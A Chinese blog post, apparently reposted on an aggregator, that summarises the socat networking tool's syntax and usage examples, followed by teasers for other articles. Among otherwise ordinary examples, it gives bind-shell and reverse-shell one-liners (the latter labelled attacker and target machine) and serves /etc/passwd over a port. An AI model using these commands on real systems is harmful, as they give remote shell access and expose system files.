news 2026/8/29 17:16:58

Socat 命令总结

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Socat 命令总结

事以密成,语以泄败。


导航

  • 介绍

  • 基本语法

  • 用法示例

    • 1. 回显输入
    • 2. 回显输入 over TCP/UDP
    • 3. 正向连接 shell
    • 4. 反向连接 shell
    • 5. 端口转发
    • 6. 网络服务
    • 7. 文件传输
    • 8. 管道传输
    • 9. 加密传输
    • 10. TUN 网络
  • 杂项


介绍

Socat是一个功能强大的网络工具(相当于是增强版 netcat),它可以在两个数据流之间建立通道,且支持的数据流类型非常丰富,例如:TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 标准输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。


基本语法

socat[OPTION]<ADDRESS_1>[,OPTS]<ADDRESS_2>[,OPTS]
  • ADDRESS_1ADDRESS_2表示两个通信的端点,即数据流。
  • OPTION用于设置全局选项,比如单向模式、调试模式、日志级别等。【注:单向模式中的 -u 表示左流向右,-U 表示右流向左,不加则表示双向模式。】
  • OPTS用于设置数据流的选项(不同类型的数据流对应的选项亦有所区别),常用的选项是 fork、reuseaddr。

用法示例

1. 回显输入
socat - -#STDIO STDIO

说明:在终端输入什么就输出什么。

2. 回显输入 over TCP/UDP
socat - tcp-listen:1234,fork#STDIO TCP 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口socat - udp4-listen:1234,bind=192.168.56.20,fork#STDIO UDP 服务端仅监听192.168.56.20接口的1234端口socat - udp4:192.168.56.20:1234#STDIO UDP 客户端连接1234端口

说明:客户端将输入的数据通过 tcp/udp 通道传输给服务端,而服务端又将接收的数据再传输给标准输出。


3. 正向连接 shell
socat tcp-listen:1234,fork exec:/bin/bash#TCP EXEC 服务端监听1234端口socat - tcp:127.0.0.1:1234#STDIO TCP 客户端连接1234端口

说明:服务端将接收到的数据传输给 bash 进程,bash 处理之后将结果返回给客户端的标准输出。,

4. 反向连接 shell
socat - tcp-listen:1234,fork#STDIO TCP 攻击机监听1234端口socat EXEC:/bin/bash tcp:127.0.0.1:1234#EXEC TCP 靶机连接1234端口#socat - tcp:127.0.0.1:1234 #STDIO TCP 靶机连接1234端口

说明:攻击机将输入的数据传输给连接它的靶机,而靶机又将数据传递给了 bash 进程,经其处理之后返回结果到攻击机。【注意:如果有多个靶机同时连接攻击机,那么攻击机的输入会随机被传递给其中一个靶机,而不是同时传递给所有靶机。】

5. 端口转发
socat tcp-listen:1234,fork tcp:127.0.0.1:8080#TCP TCP

说明:将本地监听端口 tcp/1234 接收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】

6. 网络服务
socat-Utcp-listen:1234,fork open:test.txt#TCP OPEN

说明:将文件内容作为服务响应返回。【注意:此时最好使用-U单向模式(右向左),否则请求可能会覆盖文件内容。】

7. 文件传输
socat-Utcp-listen:1234,fork open:/etc/passwd#TCP OPEN 发送端socat-utcp:127.0.0.1:1234 open:./passwd.txt,create#TCP OPEN 接收端

说明:发送端将文件数据传输给连接到监听端口的接收端,接收端又将收到的数据打包到新文件中。【注意单向模式的使用】

8. 管道传输
echook|socat - tcp-listen:1234,fork#PIPE TCP#socat - tcp-listen:1234,fork | bash #TCP PIPE

说明:(1)将 echo 输出的数据通过管道传递给连向监听端口的终端;(2)将监听端口接收到的数据传递给 bash 进程处理。


9. 加密传输
socat openssl-listen:8443,cert=ssl-cert.pem,key=ssl-cert.key,verify=0,fork tcp:127.0.0.1:8080#OPENSSL TCP OPENSSL 服务端#socat - openssl:127.0.0.1:8443,verify=0 #OPENSSL 客户端#注:当服务端不是转发给 http 服务时,客户端需要此命令配合使用,示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。#注:功能测试时,证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。

说明:监听 HTTPS 请求并将其转发到本地的 HTTP 服务。

10. TUN 网络
socat tcp-listen:1234,fork tun:192.168.1.1/24,up#TCP TUN 服务端socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up#TCP TUN 客户端

说明:所有连接到 TUN 服务端的终端,全都接入了一个自建的 TUN 网络之中,从而实现了异地组网。【在 Linux 中测试是成功的,但是在 Windows 中测试时失败了。】


杂项

  • Socat 官网:http://www.dest-unreach.org/socat/
  • Socat for Windows :https://github.com/StudioEtrange/socat-windows
  • Socat 预编译版本:https://github.com/3ndG4me/socat
我的博客园
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/29 17:14:50

网易NLP算法工程师校招笔试全解析:考点、套路与避坑指南

每年这个时候&#xff0c;都有不少同学来问我同一件事&#xff1a;网易的NLP算法工程师校招笔试题到底难不难、考什么、怎么准备。我自己经历过2018年那场笔试&#xff0c;后来也帮部门出过类似年份的校招笔试题&#xff0c;所以对这个“网易2018校招NLP算法工程师笔试卷”背后…

作者头像 李华
网站建设 2026/8/29 17:14:41

Python控制流深度解析:条件判断、循环与流程控制实战指南

1. 项目概述&#xff1a;为什么控制流是编程的“方向盘”&#xff1f;刚接触Python那会儿&#xff0c;我总觉得变量、数据类型这些是“硬骨头”&#xff0c;啃下来就能写程序了。直到我尝试写一个最简单的猜数字游戏&#xff0c;才发现事情没那么简单。程序怎么知道用户猜的数字…

作者头像 李华
网站建设 2026/8/29 17:14:17

仿微信H5聊天室源码解析:多人群聊IM系统搭建与部署

简介&#xff1a;即时通讯&#xff08;IM&#xff09;已渗透到社交、客服、社群运营等众多业务场景。实现一个可落地的聊天系统&#xff0c;关键在于消息的实时推送与可靠存储。WebSocket作为全双工通信协议&#xff0c;是构建多人群聊、消息广播的核心技术底座。从账号体系到消…

作者头像 李华
网站建设 2026/8/29 17:12:49

STM32H5 DA调试认证证书链命令行批量生成与产线自动化实践

最近在搞STM32H5的安全产线方案&#xff0c;调试口保护这块绕不开DA证书链。最开始我图省事&#xff0c;直接在STM32TrustedPackageCreator里点鼠标&#xff0c;点完发现一个严重问题&#xff1a;产线几十块板子&#xff0c;每块板子的证书都不一样&#xff0c;GUI点一次可以&a…

作者头像 李华
网站建设 2026/8/29 17:12:10

高并发动效页面的可用性

高并发动效页面的可用性“高并发动效页面的可用性”不是一张泛泛的检查表。它要回答的是&#xff1a;当前系统面对什么输入&#xff0c;允许消耗多少资源&#xff0c;失败时停在哪里&#xff0c;又由谁处理。页面渲染与用户交互往往跨过多个组件&#xff0c;问题也常藏在交界处…

作者头像 李华
网站建设 2026/8/29 17:10:49

LPS22HH气压传感器实战:从硬件布局到驱动开发与高度测量

1. 为什么做环境传感还得看气压传感器&#xff1a;LPS22HH的定位与核心参数拆解 1.1 气压传感器到底解决了哪些“看不见的需求” 我先说个实际场景。之前做室内楼层定位项目&#xff0c;客户要求在没有GPS的情况下判断用户所在楼层&#xff0c;误差不能超过一层。一开始团队想…

作者头像 李华